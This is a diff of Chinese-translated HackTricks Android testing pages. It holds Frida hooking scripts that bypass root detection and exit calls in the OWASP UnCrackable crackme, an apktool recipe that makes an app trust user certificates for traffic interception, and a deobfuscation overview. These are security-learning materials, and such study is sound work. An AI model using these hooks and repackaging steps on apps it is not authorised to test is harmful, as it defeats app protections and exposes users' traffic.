**在安卓设备上**下载并安装**frida server** ([下载最新版本](https://github.com/frida/frida/releases)).\
|
||||
一行命令以root模式重启adb,连接到它,上传frida-server,给予执行权限并在后台运行:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**检查**是否**有效**:
|
||||
**检查**它是否**正常工作**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
@ -47,27 +50,27 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
|||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**源代码**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**点击[链接阅读](frida-tutorial-1.md).**
|
||||
**请遵循[链接阅读](frida-tutorial-1.md)。**
|
||||
|
||||
### [教程 2](frida-tutorial-2.md)
|
||||
|
||||
**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (第2、3和4部分)\
|
||||
**APK和源代码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (第 2、3 和 4 部分)\
|
||||
**APKs 和源代码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**点击[链接阅读](frida-tutorial-2.md).**
|
||||
**请遵循[链接阅读。](frida-tutorial-2.md)**
|
||||
|
||||
### [教程 3](owaspuncrackable-1.md)
|
||||
|
||||
**来源**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
**点击[链接阅读](owaspuncrackable-1.md).**
|
||||
**请遵循[链接阅读](owaspuncrackable-1.md)。**
|
||||
|
||||
**您可以在这里找到更多令人敬畏的Frida脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**您可以在这里找到更多精彩的 Frida 脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## 快速示例
|
||||
|
||||
### 从命令行调用Frida
|
||||
### 从命令行调用 Frida
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
|
@ -80,7 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### 基本Python脚本
|
||||
### 基本 Python 脚本
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -91,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### 没有参数的函数挂钩
|
||||
### Hooking functions without parameters
|
||||
|
||||
挂钩类`sg.vantagepoint.a.c`的函数`a()`
|
||||
钩住类 `sg.vantagepoint.a.c` 的函数 `a()`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -104,65 +107,13 @@ return false;
|
|||
});
|
||||
```
|
||||
Hook java `exit()`
|
||||
|
||||
### Translate:
|
||||
|
||||
### Hook java `exit()`
|
||||
|
||||
### 翻译:
|
||||
|
||||
### 钩住java `exit()`
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
### Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
#### English
|
||||
```markdown
|
||||
1. Open the `hook_main_activity.js` file.
|
||||
2. Add the following code to hook the `onStart()` and `onCreate()` methods of the MainActivity class:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('onStart() is called');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('onCreate() is called');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
```
|
||||
|
||||
#### Chinese
|
||||
```markdown
|
||||
1. 打开`hook_main_activity.js`文件。
|
||||
2. 添加以下代码以钩住MainActivity类的`onStart()`和`onCreate()`方法:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('onStart()被调用');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('onCreate()被调用');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
```
|
||||
Hook MainActivity `.onStart()` 和 `.onCreate()`
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
@ -174,32 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
## Hook android `.onCreate()`
|
||||
|
||||
### English
|
||||
```markdown
|
||||
To hook the `.onCreate()` method of an Android application, you can use Frida to intercept the method call and execute your custom code. This can be useful for various purposes such as dynamic analysis, debugging, or modifying the behavior of the application.
|
||||
|
||||
Here is an example of how you can hook the `.onCreate()` method using Frida:
|
||||
|
||||
1. Write a Frida script to intercept the `.onCreate()` method.
|
||||
2. Load the script into the target Android application using Frida.
|
||||
3. Run the application and observe the custom code execution when `.onCreate()` is called.
|
||||
|
||||
By hooking the `.onCreate()` method, you can gain insights into the application's initialization process and potentially modify its behavior in real-time.
|
||||
```
|
||||
|
||||
### Chinese
|
||||
```markdown
|
||||
要钩住Android应用程序的`.onCreate()`方法,您可以使用Frida拦截方法调用并执行自定义代码。这对于动态分析、调试或修改应用程序行为等各种目的都很有用。
|
||||
|
||||
以下是使用Frida钩住`.onCreate()`方法的示例:
|
||||
|
||||
1. 编写一个Frida脚本来拦截`.onCreate()`方法。
|
||||
2. 使用Frida将脚本加载到目标Android应用程序中。
|
||||
3. 运行应用程序,并观察在调用`.onCreate()`时自定义代码的执行情况。
|
||||
|
||||
通过钩住`.onCreate()`方法,您可以深入了解应用程序的初始化过程,并在实时中潜在地修改其行为。
|
||||
Hook android `.onCreate()`
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -207,9 +133,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### 使用参数挂钩函数并检索值
|
||||
### Hooking functions with parameters and retrieving the value
|
||||
|
||||
挂钩解密函数。打印输入,调用原始函数解密输入,最后打印明文数据:
|
||||
钩住一个解密函数。打印输入,调用原始函数解密输入,最后打印明文数据:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -234,9 +160,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### 钩住函数并使用我们的输入调用它
|
||||
### Hooking functions and calling them with our input
|
||||
|
||||
钩住一个接收字符串的函数,并用另一个字符串调用它(来自[这里](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
钩住一个接收字符串的函数,并用另一个字符串调用它(来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -250,9 +176,9 @@ return ret;
|
|||
```
|
||||
### 获取已创建类的对象
|
||||
|
||||
如果您想提取已创建对象的某个属性,可以使用以下方法。
|
||||
如果您想提取已创建对象的某个属性,可以使用这个。
|
||||
|
||||
在这个示例中,您将看到如何获取类my\_activity的对象,以及如何调用函数.secret()来打印对象的私有属性:
|
||||
在这个例子中,您将看到如何获取类 my\_activity 的对象,以及如何调用函数 .secret(),该函数将打印对象的私有属性:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
|
@ -262,29 +188,30 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## 其他Frida教程
|
||||
## 其他 Frida 教程
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [高级Frida用法博客系列第1部分:IOS加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
* [高级 Frida 使用博客系列的第 1 部分:IOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**漏洞赏金提示**:**注册**Intigriti,一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**查看:[https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**查看: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,19 +21,19 @@
|
|||
|
||||
***
|
||||
|
||||
有些应用程序不喜欢用户下载的证书,因此为了检查某些应用程序的Web流量,我们实际上必须反编译该应用程序并添加一些内容,然后重新编译它。
|
||||
一些应用程序不喜欢用户下载的证书,因此为了检查某些应用的网络流量,我们实际上需要反编译应用程序,添加一些内容并重新编译它。
|
||||
|
||||
# 自动化
|
||||
# 自动
|
||||
|
||||
工具[**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)将**自动**对应用程序进行必要的更改以开始捕获请求,并且还会禁用证书固定(如果有)。
|
||||
工具 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) 将 **自动** 对应用程序进行必要的更改,以开始捕获请求,并且还将禁用证书固定(如果有的话)。
|
||||
|
||||
# 手动
|
||||
|
||||
首先我们反编译应用程序:`apktool d *file-name*.apk`
|
||||
首先我们反编译应用:`apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
然后我们进入**Manifest.xml**文件并滚动到`<\application android>`标签,如果尚未存在,我们将添加以下行:
|
||||
然后我们进入 **Manifest.xml** 文件,向下滚动到 `<\application android>` 标签,如果没有以下行,我们将添加它:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -44,7 +45,7 @@
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
现在进入**res/xml**文件夹,并创建/修改一个名为network_security_config.xml的文件,内容如下:
|
||||
现在进入 **res/xml** 文件夹,创建/修改一个名为 network\_security\_config.xml 的文件,内容如下:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,11 +58,11 @@
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
然后保存文件并退出所有目录,使用以下命令重新构建apk:`apktool b *folder-name/* -o *output-file.apk*`
|
||||
然后保存文件,退出所有目录,并使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
最后,您只需要**签署新应用程序**。[阅读本页Smali - 反编译/\[修改\]/编译部分以了解如何签署](smali-changes.md#sing-the-new-apk)。
|
||||
最后,您只需**签署新应用程序**。 [阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -71,14 +72,14 @@
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,51 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 手动**去混淆技术**
|
||||
## 手动 **去混淆技术**
|
||||
|
||||
在**软件安全**领域中,使被混淆的代码变得可理解的过程,即**去混淆**,至关重要。本指南深入探讨了各种去混淆策略,重点放在静态分析技术和识别混淆模式上。此外,它介绍了一个实际应用的练习,并为那些有兴趣探索更高级主题的人提供了进一步的资源。
|
||||
在 **软件安全** 的领域中,使模糊代码可理解的过程称为 **去混淆**,这是至关重要的。本指南深入探讨了各种去混淆策略,重点关注静态分析技术和识别混淆模式。此外,它还介绍了一个实践应用的练习,并建议对那些有兴趣探索更高级主题的资源。
|
||||
|
||||
### **静态去混淆策略**
|
||||
|
||||
在处理**被混淆的代码**时,可以采用几种策略,具体取决于混淆的性质:
|
||||
在处理 **混淆代码** 时,可以根据混淆的性质采用几种策略:
|
||||
|
||||
- **DEX字节码(Java)**:一种有效的方法涉及识别应用程序的去混淆方法,然后在Java文件中复制这些方法。执行此文件以反转目标元素上的混淆。
|
||||
- **Java和本地代码**:另一种方法是将去混淆算法转换为Python等脚本语言。该策略强调的是主要目标不是完全理解算法,而是有效地执行它。
|
||||
- **DEX 字节码 (Java)**:一种有效的方法是识别应用程序的去混淆方法,然后在 Java 文件中复制这些方法。执行该文件以逆转目标元素的混淆。
|
||||
- **Java 和本地代码**:另一种方法是将去混淆算法翻译成像 Python 这样的脚本语言。这一策略强调主要目标不是完全理解算法,而是有效地执行它。
|
||||
|
||||
### **识别混淆**
|
||||
|
||||
识别被混淆的代码是去混淆过程中的第一步。关键指标包括:
|
||||
识别混淆代码是去混淆过程的第一步。关键指标包括:
|
||||
|
||||
- 在Java和Android中**字符串的缺失或混淆**,可能暗示字符串混淆。
|
||||
- 在assets目录中**二进制文件的存在**或对`DexClassLoader`的调用,暗示代码解压缩和动态加载。
|
||||
- 使用**本地库以及无法识别的JNI函数**,表明可能对本地方法进行了混淆。
|
||||
- Java 和 Android 中 **字符串的缺失或混乱**,这可能表明字符串混淆。
|
||||
- 资产目录中 **存在二进制文件** 或对 `DexClassLoader` 的调用,暗示代码解包和动态加载。
|
||||
- 使用 **本地库和不可识别的 JNI 函数**,表明本地方法可能被混淆。
|
||||
|
||||
## **去混淆中的动态分析**
|
||||
|
||||
通过在受控环境中执行代码,动态分析**允许观察被混淆代码的实时行为**。这种方法特别适用于揭示旨在隐藏代码真实意图的复杂混淆模式的内部工作方式。
|
||||
通过在受控环境中执行代码,动态分析 **允许观察混淆代码在实时中的行为**。这种方法在揭示旨在隐藏代码真实意图的复杂混淆模式的内部工作原理方面特别有效。
|
||||
|
||||
### **动态分析的应用**
|
||||
|
||||
- **运行时解密**:许多混淆技术涉及加密字符串或代码段,仅在运行时解密。通过动态分析,可以在解密时捕获这些加密元素,揭示它们的真实形式。
|
||||
- **识别混淆技术**:通过监视应用程序的行为,动态分析可以帮助识别正在使用的特定混淆技术,如代码虚拟化、打包工具或动态代码生成。
|
||||
- **揭示隐藏功能**:被混淆的代码可能包含通过静态分析无法明显看出的隐藏功能。动态分析允许观察所有代码路径,包括有条件执行的路径,以揭示这些隐藏功能。
|
||||
